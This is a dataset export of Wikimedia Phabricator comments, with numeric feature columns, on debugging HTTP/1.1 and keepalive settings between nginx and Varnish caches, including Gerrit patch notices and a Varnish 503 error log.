[[https://gerrit.wikimedia.org/r/288213]]",,,1462981572,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,44,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.2272727272727275,0.8636363636363636,"Change 288213 merged by BBlack:
tlsproxy: use http/1.1 only in conjunction with varnish4

[[GERRIT_URL]]"
660358,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 288213 had a related patch set uploaded (by BBlack):
tlsproxy: use http/1.1 only in conjunction with varnish4

[[https://gerrit.wikimedia.org/r/288213]]
",,,1462980834,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,44,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.0344827586206895,0.896551724137931,"Change 288213 had a related patch set uploaded (by BBlack):
tlsproxy: use http/1.1 only in conjunction with varnish4

[[GERRIT_URL]]
"
660238,HTTP/1.1 keepalive for local nginx->varnish conns,"I'm out of good ideas for now.  I've tried both of the obvious alternatives (1.1 w/o explicit Connection setting, and 1.1 w/o explicit Connection setting but with ignore_client_abort), and the behavior is unchanged: we still get a low but notable rate of 503s as described earlier.",,,1462971400,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,44,True,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,5.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,16.0,4.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.214285714285714,0.7678571428571429,"I'm out of good ideas for now.  I've tried both of the obvious alternatives (1.1 w/o explicit Connection setting, and 1.1 w/o explicit Connection setting but with ignore_client_abort), and the behavior is unchanged: we still get a low but notable rate of 503s as described earlier."
660228,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 288182 merged by BBlack:
tlsproxy: remove protocol 1.1

[[https://gerrit.wikimedia.org/r/288182]]",,,1462970375,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,44,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.888888888888889,0.8333333333333334,"Change 288182 merged by BBlack:
tlsproxy: remove protocol 1.1

[[GERRIT_URL]]"
660224,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 288182 had a related patch set uploaded (by BBlack):
tlsproxy: remove protocol 1.1

[[https://gerrit.wikimedia.org/r/288182]]
",,,1462970256,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,44,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.76,0.88,"Change 288182 had a related patch set uploaded (by BBlack):
tlsproxy: remove protocol 1.1

[[GERRIT_URL]]
"
660218,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 288179 merged by BBlack:
tlsproxy: remove ignore_client_abort

[[https://gerrit.wikimedia.org/r/288179]]",,,1462969867,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,44,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,4.588235294117647,0.8235294117647058,"Change 288179 merged by BBlack:
tlsproxy: remove ignore_client_abort

[[GERRIT_URL]]"
660217,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 288179 had a related patch set uploaded (by BBlack):
tlsproxy: remove ignore_client_abort

[[https://gerrit.wikimedia.org/r/288179]]
",,,1462969849,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,44,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.25,0.875,"Change 288179 had a related patch set uploaded (by BBlack):
tlsproxy: remove ignore_client_abort

[[GERRIT_URL]]
"
660215,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 288177 merged by BBlack:
tlsproxy: protocol 1.1   ignore_client_abort

[[https://gerrit.wikimedia.org/r/288177]]",,,1462969191,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,44,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.473684210526316,0.8421052631578947,"Change 288177 merged by BBlack:
tlsproxy: protocol 1.1   ignore_client_abort

[[GERRIT_URL]]"
660214,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 288177 had a related patch set uploaded (by BBlack):
tlsproxy: protocol 1.1   ignore_client_abort

[[https://gerrit.wikimedia.org/r/288177]]
",,,1462969163,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,44,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.1923076923076925,0.8846153846153846,"Change 288177 had a related patch set uploaded (by BBlack):
tlsproxy: protocol 1.1   ignore_client_abort

[[GERRIT_URL]]
"
660212,HTTP/1.1 keepalive for local nginx->varnish conns,Trying a patch that will test the first two ideas above...,,,1462969105,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,44,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,4.0,1.0,Trying a patch that will test the first two ideas above...
660204,HTTP/1.1 keepalive for local nginx->varnish conns,"So, recapping the strange evidence above, because I've been thinking about this off and on all night and it still makes no sense:

* The only change involved was to add two lines to the nginx proxy statements: `proxy_http_version 1.1;` and `proxy_set_header Connection close;`.  The first should have almost no effect in our configuration except switching the request line to end in `HTTP/1.1` instead of `HTTP/1.0`.  The latter is supposedly the default anyways (regardless of proto version).  I was putting it there to be explicit, and so that it's visually obvious what's going on in future patches that toggle other settings for the Connection header when we turn on other features.
* Nothing else is being toggled here: we're not re-using connections with keepalives, and stats debugging on connection states/counts seems to confirm that.
* When we turn on this protocol version change, most things still seem sane, but our global 503 error rate on the text caches rises from nearly-zero to roughly 5/sec (which is a small fraction of overall traffic, even if you only count cache misses).  The requests that hit the 503 seemed fairly random at a glance in terms of UA, URL, etc.
* The 503s are happening when the backend-most varnish contacts the appserver, and the error shown is `NNN FetchError   c http format error`, which means varnish is failing to parse a legitimate HTTP response status line from the application server (`HTTP/1.1 200 OK` and such).

How does switching the protocol line from `HTTP/1.0` to `HTTP/1.1` when nginx makes a request to varnish-fe, end up causing a 503 due to malformed status line in the response from the applayer backend when the varnish-be process contacts the applayer?  Keep in mind by then, the nginx request has already been successfully parsed and amended by 2x layers of varnish, and sent to the applayer, and now the applayer response seems junky.  It makes no basic sense.

The only few semi-bright ideas I have at present are this:
* We can try leaving off the supposedly-default 'proxy_set_header Connection close;`, in case the default behavior is more-subtle than documented.
* We can try looking into the code for and playing with the settings for nginx's proxy_ignore_client_abort in case that's related.
* It may be that we're not going to get correct behavior until we do both the 1.1 change **and** the keepalives (no Connection: close) together.  I don't think this is likely, but at some point it may be worth trying.",,,1462967910,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,44,True,0.6,0.0,0.0,0.6,0.6,6.8,1.6,0.2,0.0,0.2,1.8,1.0,0.0,1.0,0.0,2.6,0.0,7.0,12.0,0.2,1.2,0.2,0.2,0.0,1.0,0.4,0.0,0.2,0.8,0.0,0.2,6.6,1.2,1.2,0.6,0.2,0.8,0.4,0.2,0.8,0.8,0.0,0.2,2.2,0.0,0.6,0.0,0.6,0.0,16.0,0.6,0.8,0.4,0.8,0.0,0.4,0.0,0.2,1.4,0.2,0.2,0.8,0.0,0.8,0.4,0.4,0.2,7.2,3.4,6.6,2.4,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.2,1.6,0.0,4.0,12.0,2.6,0.2,0.2,0.0,4.0,0.0,2.2,1.0,0.0,3.4,0.2,0.4,0.4,3.93759595959596,0.7434343434343434,"So, recapping the strange evidence above, because I've been thinking about this off and on all night and it still makes no sense:

* The only change involved was to add two lines to the nginx proxy statements: CODE and CODE.  The first should have almost no effect in our configuration except switching the request line to end in CODE instead of CODE.  The latter is supposedly the default anyways (regardless of proto version).  I was putting it there to be explicit, and so that it's visually obvious what's going on in future patches that toggle other settings for the Connection header when we turn on other features.
* Nothing else is being toggled here: we're not re-using connections with keepalives, and stats debugging on connection states/counts seems to confirm that.
* When we turn on this protocol version change, most things still seem sane, but our global 503 error rate on the text caches rises from nearly-zero to roughly 5/sec (which is a small fraction of overall traffic, even if you only count cache misses).  The requests that hit the 503 seemed fairly random at a glance in terms of UA, URL, etc.
* The 503s are happening when the backend-most varnish contacts the appserver, and the error shown is CODE, which means varnish is failing to parse a legitimate HTTP response status line from the application server (CODE and such).

How does switching the protocol line from CODE to CODE when nginx makes a request to varnish-fe, end up causing a 503 due to malformed status line in the response from the applayer backend when the varnish-be process contacts the applayer?  Keep in mind by then, the nginx request has already been successfully parsed and amended by 2x layers of varnish, and sent to the applayer, and now the applayer response seems junky.  It makes no basic sense.

The only few semi-bright ideas I have at present are this:
* We can try leaving off the supposedly-default 'proxy_set_header Connection close;`, in case the default behavior is more-subtle than documented.
* We can try looking into the code for and playing with the settings for nginx's proxy_ignore_client_abort in case that's related.
* It may be that we're not going to get correct behavior until we do both the 1.1 change **and** the keepalives (no Connection: close) together.  I don't think this is likely, but at some point it may be worth trying."
659863,HTTP/1.1 keepalive for local nginx->varnish conns,Reverting just the HTTP/1.1 nginx patch makes the 503s go away (still using upstream module).... needs more digging in more-isolated testing....,,,1462915266,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,44,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,4.592592592592593,0.8888888888888888,Reverting just the HTTP/1.1 nginx patch makes the 503s go away (still using upstream module).... needs more digging in more-isolated testing....
659858,HTTP/1.1 keepalive for local nginx->varnish conns,"FWIW, the random 503s look like this on GET of plain article URLs (and other things, of course):
```
  421 VCL_return   c hash
  421 VCL_call     c miss fetch
  421 Backend      c 96 appservers be_appservers
  421 FetchError   c http format error
  421 VCL_call     c error deliver
  421 VCL_call     c deliver deliver
  421 TxProtocol   c HTTP/1.1
  421 TxStatus     c 503
  421 TxResponse   c Service Unavailable
  421 TxHeader     c Server: Varnish
  421 TxHeader     c Content-Type: text/html; charset=utf-8
  421 TxHeader     c Content-Length: 1624
  421 TxHeader     c Accept-Ranges: bytes
  421 TxHeader     c Date: Tue, 10 May 2016 21:09:20 GMT
  421 TxHeader     c X-Varnish: 612169238
  421 TxHeader     c Age: 0
  421 TxHeader     c Via: 1.1 varnish
  421 TxHeader     c Connection: close
  421 TxHeader     c X-Cache: cp1065 miss(0)
  421 Length       c 1624
  421 ReqEnd       c 612169238 1462914560.392444134 1462914560.392889261 0.089637280 0.000409365 0.000035763
```

Looking into the Varnish3 code, it seems like `http format error` should only happen if it can't parse the basic response line (e.g. `HTTP/1.1 200 OK`).",,,1462915015,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,44,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,12.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8787878787878788,"FWIW, the random 503s look like this on GET of plain article URLs (and other things, of course):
``CODE`CODEhttp format errorCODEHTTP/1.1 200 OK`)."
659854,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 288089 merged by BBlack:
Revert ""tlsproxy: switch to (non-persistent) HTTP/1.1""

[[https://gerrit.wikimedia.org/r/288089]]",,,1462914807,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,44,True,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.576923076923077,0.8461538461538461,"Change 288089 merged by BBlack:
Revert ""tlsproxy: switch to (non-persistent) HTTP/1.1""

[[GERRIT_URL]]"
659846,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 288089 had a related patch set uploaded (by BBlack):
Revert ""tlsproxy: switch to (non-persistent) HTTP/1.1""

[[https://gerrit.wikimedia.org/r/288089]]
",,,1462914528,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,44,True,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.5454545454545454,0.8484848484848485,"Change 288089 had a related patch set uploaded (by BBlack):
Revert ""tlsproxy: switch to (non-persistent) HTTP/1.1""

[[GERRIT_URL]]
"
659837,HTTP/1.1 keepalive for local nginx->varnish conns,"And of course, there are still elevated random 503's on text, like before.  Need to confirm if it's unrelated and coincidental (unlikely), or which of the two changes (HTTP/1.1, upstream module) cause it.",,,1462913803,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,44,True,0.0,0.0,0.0,2.0,0.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,7.0,2.0,7.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.739130434782609,0.8043478260869565,"And of course, there are still elevated random 503's on text, like before.  Need to confirm if it's unrelated and coincidental (unlikely), or which of the two changes (HTTP/1.1, upstream module) cause it."
659824,HTTP/1.1 keepalive for local nginx->varnish conns,"I've been reviewing and re-testing a bunch of related things today.  There are several inter-mixed issues and I'm not even going to try to separate them all out into separate tasks and updates really.  These are the reasons I'm looking again:

* T134870 (websockets for cache_misc) - needs at least `proxy_http_version 1.1;` from nginx, plus other things.  Switching to 1.1 was also part of the keepalive work for related reasons
* T134870 (websockets for cache_misc) - will probably also need (or at least want, but I think need) `proxy_request_buffering off;`
* Disabling request buffering, I suspect, will not interact well with our HTTP/1.0 non-keepalive proxy conns, as lack of request buffering would slow each request flow down, and they're contending for limited slots (1/worker) to talk to varnish.
* We've recently upgraded our nginx package by several versions, and one of the included bugfixes was related to the `keepalive` parameter we've tried to use here in the past.
* I suspect lack of `max_fails=0` on our singular upstream server line in the previous keepalive config attempts may have played a role (but I'm really not sure).
* There may be some negative interaction (perf and/or functional) between buffered requests and HTTP/2, at least for some requests from some clients.  It's possible this is interrelated with T134869,
* T127294 - The most-critical reason we rolled back last time was strange behavior on cache_misc when combining nginx keepalive with do_stream + do_gzip on cache_misc.  Since then, we turned on do_stream for cache_text as well, and discovered a nasty trail of bug stuff in T133866, which is also showing that varnish is buggy for do_stream + do_gzip and non-gzip clients regardless of nginx (although nginx may have exacerbated).  We fixed that by killing varnish3 do_stream on both cache_misc and cache_text, which may well have incidentally resolved the nginx keepalive + cache_misc issues noted in T127294.

For all of these reasons, I've been experimenting with keepalive, request buffering, and all related things today.  Mostly I experimented on cp1065 and cp1071 with live hacks while watching request logs, 5xx graphs/logs, and connection-state counting tools on the hosts themselves.  These are the basic results and where things have been left off at:

1. After a long period of manual testing, I've merged and deployed to all: https://gerrit.wikimedia.org/r/287940 + https://gerrit.wikimedia.org/r/287995 .  The net effect of these is very minimal in practice, but they switch our known-working, un-keepalive configuration to using the `upstream` module, and switch the protocol of the un-keepalive connections to varnish from HTTP/1.0 to HTTP/1.1.  There should be little risk of fallout from this, but I'd like to leave all clusters in this state a while before going further, to confirm sanity.
2. Testing keepalives manually on top of that, the results looked very positive.  I don't **think** there's any disfunction in turning on keepalives now, and we do get the expected increases in client concurrency.  I played with tuning while I was looking at this, and reasonably-close-ish keepalive_workers values seem to be ~4 for text and ~8 for upload.  There's more risk in this, though, so I'd like to get some isolation from (1) before we look for fallout on graphs from turning this on.
3. Tested turning off request buffering while keepalives are enabled, and the results look positive: no big changes in connection counts under keepalive, and doesn't seem to spike up errors.  Since this is a separate risk, it should go out after we're comfortable with the above.",,,1462912208,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,44,True,1.625,0.0,0.25,0.5,0.625,7.375,1.0,0.0,0.25,0.0,1.5,1.75,0.0,0.0,0.625,3.375,0.25,4.25,13.375,0.0,1.375,0.25,0.75,0.0,1.375,0.75,0.0,0.25,0.5,0.625,0.0,4.625,1.625,0.25,0.5,0.0,0.25,0.25,0.5,1.125,0.125,0.5,0.625,1.125,0.0,0.125,0.0,0.0,0.125,15.0,1.125,0.5,0.25,0.625,0.0,0.125,0.0,0.5,1.5,0.0,0.125,1.0,0.0,0.375,0.0,0.0,0.0,3.0,2.375,6.5,1.25,4.125,6.375,0.0,0.0,0.0,0.0,3.625,0.0,0.5,0.0,4.125,13.375,3.0,0.0,0.0,0.0,4.125,0.0,0.5,0.75,0.25,2.5,0.125,0.5,0.375,4.077884615384615,0.7409798534798535,"I've been reviewing and re-testing a bunch of related things today.  There are several inter-mixed issues and I'm not even going to try to separate them all out into separate tasks and updates really.  These are the reasons I'm looking again:

* T134870 (websockets for cache_misc) - needs at least CODE from nginx, plus other things.  Switching to 1.1 was also part of the keepalive work for related reasons
* T134870 (websockets for cache_misc) - will probably also need (or at least want, but I think need) CODE
* Disabling request buffering, I suspect, will not interact well with our HTTP/1.0 non-keepalive proxy conns, as lack of request buffering would slow each request flow down, and they're contending for limited slots (1/worker) to talk to varnish.
* We've recently upgraded our nginx package by several versions, and one of the included bugfixes was related to the CODE parameter we've tried to use here in the past.
* I suspect lack of CODE on our singular upstream server line in the previous keepalive config attempts may have played a role (but I'm really not sure).
* There may be some negative interaction (perf and/or functional) between buffered requests and HTTP/2, at least for some requests from some clients.  It's possible this is interrelated with T134869,
* T127294 - The most-critical reason we rolled back last time was strange behavior on cache_misc when combining nginx keepalive with do_stream + do_gzip on cache_misc.  Since then, we turned on do_stream for cache_text as well, and discovered a nasty trail of bug stuff in T133866, which is also showing that varnish is buggy for do_stream + do_gzip and non-gzip clients regardless of nginx (although nginx may have exacerbated).  We fixed that by killing varnish3 do_stream on both cache_misc and cache_text, which may well have incidentally resolved the nginx keepalive + cache_misc issues noted in T127294.

For all of these reasons, I've been experimenting with keepalive, request buffering, and all related things today.  Mostly I experimented on cp1065 and cp1071 with live hacks while watching request logs, 5xx graphs/logs, and connection-state counting tools on the hosts themselves.  These are the basic results and where things have been left off at:

1. After a long period of manual testing, I've merged and deployed to all: GERRIT_URL + GERRIT_URL .  The net effect of these is very minimal in practice, but they switch our known-working, un-keepalive configuration to using the CODE module, and switch the protocol of the un-keepalive connections to varnish from HTTP/1.0 to HTTP/1.1.  There should be little risk of fallout from this, but I'd like to leave all clusters in this state a while before going further, to confirm sanity.
2. Testing keepalives manually on top of that, the results looked very positive.  I don't **think** there's any disfunction in turning on keepalives now, and we do get the expected increases in client concurrency.  I played with tuning while I was looking at this, and reasonably-close-ish keepalive_workers values seem to be ~4 for text and ~8 for upload.  There's more risk in this, though, so I'd like to get some isolation from (1) before we look for fallout on graphs from turning this on.
3. Tested turning off request buffering while keepalives are enabled, and the results look positive: no big changes in connection counts under keepalive, and doesn't seem to spike up errors.  Since this is a separate risk, it should go out after we're comfortable with the above."
